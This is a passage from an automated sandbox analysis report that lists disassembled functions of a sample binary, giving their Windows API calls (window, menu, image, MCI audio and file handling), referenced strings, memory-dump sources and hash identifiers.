                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: BuffCharMessageSendUpper
                                                          • String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
                                                          • API String ID: 3974292440-4258414348
                                                          • Opcode ID: bbb0b4174538839fb4f2c86739eb173c91e511bef3de5227a12eabcde99a7587
                                                          • Instruction ID: ef415521c1bd706addeebd6adc883157b332be9587dbd06cfc55b21e3b588f94
                                                          • Opcode Fuzzy Hash: bbb0b4174538839fb4f2c86739eb173c91e511bef3de5227a12eabcde99a7587
                                                          • Instruction Fuzzy Hash: 1D916C702043019FCB04EF10D455AAEBBE1BF96354F04886DF99A5B3A2CB34ED89DB81
                                                          Function 0057A1B9 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 205windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • DestroyWindow.USER32(?,?), ref: 0057A2D3
                                                          • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 0057A34D
                                                          • SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 0057A36F
                                                          • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0057A382
                                                          • DestroyWindow.USER32(00000000), ref: 0057A3A4
                                                          • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,004F0000,00000000), ref: 0057A3DB
                                                          • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0057A3F4
                                                          • GetDesktopWindow.USER32 ref: 0057A40D
                                                          • GetWindowRect.USER32(00000000), ref: 0057A414
                                                          • SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0057A42C
                                                          • SendMessageW.USER32(00000000,00000421,?,00000000), ref: 0057A444
                                                            • Part of subcall function 004F25DB: GetWindowLongW.USER32(?,000000EB), ref: 004F25EC
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Window$MessageSend$CreateDestroy$DesktopLongRect
                                                          • String ID: 0$tooltips_class32
                                                          • API String ID: 1652260434-3619404913
                                                          • Opcode ID: 464bbbfd6bc3e71765b05aa34969633e7f79c16cf164149521fa57abfb33eb65
                                                          • Instruction ID: 9c32e6f086b94a3a28e81703805d443b299e8a7c66515d797c86bbe54c303386
                                                          • Opcode Fuzzy Hash: 464bbbfd6bc3e71765b05aa34969633e7f79c16cf164149521fa57abfb33eb65
                                                          • Instruction Fuzzy Hash: 7771E270140204AFDB25CF28EC48F6A7BE6FB88304F04891DF989872A0D775E946EB52
                                                          Function 0057B7FE Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 197windowlibraryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 0057B8B4
                                                          • LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,005791C2), ref: 0057B910
                                                          • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0057B949
                                                          • LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 0057B98C
                                                          • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0057B9C3
                                                          • FreeLibrary.KERNEL32(?), ref: 0057B9CF
                                                          • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0057B9DF
                                                          • DestroyIcon.USER32(?,?,?,?,?,005791C2), ref: 0057B9EE
                                                          • SendMessageW.USER32(?,00000170,00000000,00000000), ref: 0057BA0B
                                                          • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 0057BA17
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree
                                                          • String ID: .dll$.exe$.icl
                                                          • API String ID: 1446636887-1154884017
                                                          • Opcode ID: a26a6aa5964dede096e26fd8dd7c94f8e8473663b7ef942d8931e012a61e67ff
                                                          • Instruction ID: 6e4f68ea244350682b1f010854f895fb3589f102616c99d92ab1e29b3970486a
                                                          • Opcode Fuzzy Hash: a26a6aa5964dede096e26fd8dd7c94f8e8473663b7ef942d8931e012a61e67ff
                                                          • Instruction Fuzzy Hash: 9F61E071504219BAFB14DF64EC45FBE7BACFB08710F108519FA29D61C0DB749990EBA0
                                                          Function 0055A352 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CharLowerBuffW.USER32(?,?), ref: 0055A3CB
                                                          • GetDriveTypeW.KERNEL32 ref: 0055A418
                                                          • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0055A460
                                                          • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0055A497
                                                          • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0055A4C5
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: SendString$BuffCharDriveLowerType
                                                          • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                                          • API String ID: 1600147383-4113822522
                                                          • Opcode ID: 8b77e208baf364a4dae7cb402f44c0d1d3450e97e4302990ce2cd65665456931
                                                          • Instruction ID: 5a4111125423f738f6f094a1c001b14c517f3f59d54b7c85bf019d4411433f4f
                                                          • Opcode Fuzzy Hash: 8b77e208baf364a4dae7cb402f44c0d1d3450e97e4302990ce2cd65665456931
                                                          • Instruction Fuzzy Hash: 0E5179711042099FC700EF21C89187EBBE4FF95358F00896EF99A572A1DB75AD0ACB42
                                                          Function 0057BA33 Relevance: 22.6, APIs: 15, Instructions: 130filecommemoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00579207,?,?), ref: 0057BA56
                                                          • GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00579207,?,?,00000000,?), ref: 0057BA6D
                                                          • GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00579207,?,?,00000000,?), ref: 0057BA78
                                                          • CloseHandle.KERNEL32(00000000,?,?,?,?,00579207,?,?,00000000,?), ref: 0057BA85
                                                          • GlobalLock.KERNEL32(00000000), ref: 0057BA8E
                                                          • ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,00579207,?,?,00000000,?), ref: 0057BA9D
                                                          • GlobalUnlock.KERNEL32(00000000), ref: 0057BAA6
                                                          • CloseHandle.KERNEL32(00000000,?,?,?,?,00579207,?,?,00000000,?), ref: 0057BAAD
                                                          • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00579207,?,?,00000000,?), ref: 0057BABE
                                                          • OleLoadPicture.OLEAUT32(?,00000000,00000000,00582CAC,?), ref: 0057BAD7
                                                          • GlobalFree.KERNEL32(00000000), ref: 0057BAE7
                                                          • GetObjectW.GDI32(00000000,00000018,?), ref: 0057BB0B
                                                          • CopyImage.USER32(00000000,00000000,?,?,00002000), ref: 0057BB36
                                                          • DeleteObject.GDI32(00000000), ref: 0057BB5E
                                                          • SendMessageW.USER32(?,00000172,00000000,00000000), ref: 0057BB74
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                                          • String ID:
                                                          • API String ID: 3840717409-0
                                                          • Opcode ID: 572a5a187bbc39715ff3d8f85165071a0593371e23a5ea78037b852eb0ce13fa
                                                          • Instruction ID: 04ac34593bd08634f7b283b00afe6c251094c1175fb63fd73504faced9329fa4
                                                          • Opcode Fuzzy Hash: 572a5a187bbc39715ff3d8f85165071a0593371e23a5ea78037b852eb0ce13fa
                                                          • Instruction Fuzzy Hash: D7410675600208AFDB11DF65EC88EAABBB9FB99715F108068F90DD7260D7309A45EB60
                                                          Function 0056731A Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetDC.USER32(00000000), ref: 0056738F
                                                          • CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 0056739B
                                                          • CreateCompatibleDC.GDI32(?), ref: 005673A7
                                                          • SelectObject.GDI32(00000000,?), ref: 005673B4
                                                          • StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00567408
                                                          • GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 00567444
                                                          • GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00567468
                                                          • SelectObject.GDI32(00000006,?), ref: 00567470
                                                          • DeleteObject.GDI32(?), ref: 00567479
                                                          • DeleteDC.GDI32(00000006), ref: 00567480
                                                          • ReleaseDC.USER32(00000000,?), ref: 0056748B
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
                                                          • String ID: (
                                                          • API String ID: 2598888154-3887548279
                                                          • Opcode ID: 0d448bd464c00bff9f1274717d8220b9f5670dc38504a629e18cd8c2e2d59ade
                                                          • Instruction ID: 5b3b59339785d46e1bdbb2f32d3cc2caeff65c676050fb036242ff240f5ae2f9
                                                          • Opcode Fuzzy Hash: 0d448bd464c00bff9f1274717d8220b9f5670dc38504a629e18cd8c2e2d59ade
                                                          • Instruction Fuzzy Hash: 4E513771A04209EFCB14CFA8DC88EAEBBB9FF48310F148929F95A97310C771A944DB50
                                                          Function 005688AB Relevance: 19.6, APIs: 10, Strings: 1, Instructions: 324fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • VariantInit.OLEAUT32(?), ref: 005688D7
                                                          • CoInitialize.OLE32(00000000), ref: 00568904
                                                          • CoUninitialize.OLE32 ref: 0056890E
                                                          • GetRunningObjectTable.OLE32(00000000,?), ref: 00568A0E
                                                          • SetErrorMode.KERNEL32(00000001,00000029), ref: 00568B3B
                                                          • CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,00582C0C), ref: 00568B6F
                                                          • CoGetObject.OLE32(?,00000000,00582C0C,?), ref: 00568B92
                                                          • SetErrorMode.KERNEL32(00000000), ref: 00568BA5
                                                          • SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00568C25
                                                          • VariantClear.OLEAUT32(?), ref: 00568C35
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
                                                          • String ID: ,,X
                                                          • API String ID: 2395222682-2459423998
                                                          • Opcode ID: f3c775c4d4112bf74e24c4fea495bb3890a60e95ecf2c37f06e7976faafff32a
                                                          • Instruction ID: d65affd14a4405ad17ab42ad1c3c45236b5922bd310ef017685eb3114a659544
                                                          • Opcode Fuzzy Hash: f3c775c4d4112bf74e24c4fea495bb3890a60e95ecf2c37f06e7976faafff32a
                                                          • Instruction Fuzzy Hash: 6CC126B1608305AFD700DF64C88492BBBE9FF89348F004A5DF98A9B261DB71ED45CB52
                                                          Function 0057C1AC Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 229windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 004F2612: GetWindowLongW.USER32(?,000000EB), ref: 004F2623
                                                          • PostMessageW.USER32(?,00000111,00000000,00000000), ref: 0057C1FC
                                                          • GetFocus.USER32 ref: 0057C20C
                                                          • GetDlgCtrlID.USER32(00000000), ref: 0057C217
                                                          • GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 0057C36D
                                                          • GetMenuItemCount.USER32(?), ref: 0057C38D
                                                          • GetMenuItemID.USER32(?,00000000), ref: 0057C3A0
                                                          • GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 0057C3D4
                                                          • GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 0057C41C
                                                          • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 0057C454
                                                          • DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 0057C489
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow
                                                          • String ID: 0
                                                          • API String ID: 1026556194-4108050209
                                                          • Opcode ID: c7aa374c75a68978cc209f490a0b8850576a45f3cfae6e08075d62c3f31a532b
                                                          • Instruction ID: 506091807396c321d02b132db3c1b3803804c1aa2e8533d8042ea5d4646f7c8e
                                                          • Opcode Fuzzy Hash: c7aa374c75a68978cc209f490a0b8850576a45f3cfae6e08075d62c3f31a532b
                                                          • Instruction Fuzzy Hash: 5D819E70208301AFDB10DF24E894A7BBFE9FB88714F00892EF99997291D770D945EB52
                                                          Function 00570E1A Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CharUpperBuffW.USER32(?,?,?,?,?,?,?,0056FDAD,?,?), ref: 00570E31
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: BuffCharUpper
                                                          • String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
                                                          • API String ID: 3964851224-909552448
                                                          • Opcode ID: e2c0affa6103519ba083b9a7dc82bfd5a96e778f8e920065eb7aee1329438ce1
                                                          • Instruction ID: 4842a83490ea58667d4e209b62b300fa7f7eefff975bb2f03dac5f061dded911
                                                          • Opcode Fuzzy Hash: e2c0affa6103519ba083b9a7dc82bfd5a96e778f8e920065eb7aee1329438ce1
                                                          • Instruction Fuzzy Hash: 5941793110025ACBDF10EF10E899AEF3FA4BF56304F14A415FC591B2D2DB74A99ADBA0
                                                          Function 005552C7 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00555330
                                                          • mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00555346
                                                          • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00555357
                                                          • mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00555369
                                                          • mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 0055537A
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: SendString
                                                          • String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
                                                          • API String ID: 890592661-1007645807
                                                          • Opcode ID: a02f2bb59dc169193a8337a0d9e18432e1301fa3f2cfa4174849bec2268ead84
                                                          • Instruction ID: aec2c3fcf3c9b69c080226150d720bfe8e5f57ddf5de90048cb9546e524c6eae
                                                          • Opcode Fuzzy Hash: a02f2bb59dc169193a8337a0d9e18432e1301fa3f2cfa4174849bec2268ead84
                                                          • Instruction Fuzzy Hash: E811B63095016D79E720BB72CC69DFF7F7CFB92B44F00082AB905920D1EDA40D04C5A0
                                                          Function 00554F75 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • timeGetTime.WINMM ref: 00554F7A
                                                            • Part of subcall function 0051049F: timeGetTime.WINMM(?,762F9610,00500E7B), ref: 005104A3
                                                          • Sleep.KERNEL32(0000000A), ref: 00554FA6
                                                          • EnumThreadWindows.USER32(?,Function_00064F28,00000000), ref: 00554FCA
                                                          • FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00554FEC
                                                          • SetActiveWindow.USER32 ref: 0055500B
                                                          • SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00555019
                                                          • SendMessageW.USER32(00000010,00000000,00000000), ref: 00555038
                                                          • Sleep.KERNEL32(000000FA), ref: 00555043
                                                          • IsWindow.USER32 ref: 0055504F
                                                          • EndDialog.USER32(00000000), ref: 00555060
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
                                                          • String ID: BUTTON
                                                          • API String ID: 1194449130-3405671355
                                                          • Opcode ID: 26cb25f2b0b21ac767cefa737288d7aa9f16702a0d60126c41ae9dc98e9ef4dd
                                                          • Instruction ID: 6f7e4a4980f65b5e354eb54f1d0e8ad082cd0c581411c4fe1e7d89f79cda55fb
                                                          • Opcode Fuzzy Hash: 26cb25f2b0b21ac767cefa737288d7aa9f16702a0d60126c41ae9dc98e9ef4dd
                                                          • Instruction Fuzzy Hash: 0721C571204601AFE7609F20FC98B263F69FB64746F541125F809812F1EB61AD9CFB71
                                                          Function 00552D36 Relevance: 18.2, APIs: 12, Instructions: 214windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetMenuItemInfoW.USER32(00000000,00000007,00000000,00000030), ref: 00552DDD
                                                          • GetMenuItemCount.USER32(005B5890), ref: 00552E66
                                                          • DeleteMenu.USER32(005B5890,00000005,00000000,000000F5,?,?), ref: 00552EF6
                                                          • DeleteMenu.USER32(005B5890,00000004,00000000), ref: 00552EFE
                                                          • DeleteMenu.USER32(005B5890,00000006,00000000), ref: 00552F06
                                                          • DeleteMenu.USER32(005B5890,00000003,00000000), ref: 00552F0E
                                                          • GetMenuItemCount.USER32(005B5890), ref: 00552F16
                                                          • SetMenuItemInfoW.USER32(005B5890,00000004,00000000,00000030), ref: 00552F4C
                                                          • GetCursorPos.USER32(?), ref: 00552F56
                                                          • SetForegroundWindow.USER32(00000000), ref: 00552F5F
                                                          • TrackPopupMenuEx.USER32(005B5890,00000000,?,00000000,00000000,00000000), ref: 00552F72
                                                          • PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00552F7E
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow
                                                          • String ID:
                                                          • API String ID: 1441871840-0
                                                          • Opcode ID: 9e5d2f9c0baaa8bd256b3edd613a82274d840a1d1aac9dcaeb8a47a0a00aca34
                                                          • Instruction ID: 849eb6fab77ad6af481a67375a29790331a10708ad8894a55362c75403e01766
                                                          • Opcode Fuzzy Hash: 9e5d2f9c0baaa8bd256b3edd613a82274d840a1d1aac9dcaeb8a47a0a00aca34
                                                          • Instruction Fuzzy Hash: E7710970601205BFEB218F54EC9AFAABF68FF46315F140217FA19AA1E0C7716C58DB51
                                                          Function 0054C267 Relevance: 18.2, APIs: 12, Instructions: 174COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetDlgItem.USER32(?,00000001), ref: 0054C283
                                                          • GetWindowRect.USER32(00000000,?), ref: 0054C295
                                                          • MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 0054C2F3
                                                          • GetDlgItem.USER32(?,00000002), ref: 0054C2FE
                                                          • GetWindowRect.USER32(00000000,?), ref: 0054C310
                                                          • MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 0054C364
                                                          • GetDlgItem.USER32(?,000003E9), ref: 0054C372
                                                          • GetWindowRect.USER32(00000000,?), ref: 0054C383
                                                          • MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 0054C3C6
                                                          • GetDlgItem.USER32(?,000003EA), ref: 0054C3D4
                                                          • MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 0054C3F1
                                                          • InvalidateRect.USER32(?,00000000,00000001), ref: 0054C3FE
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
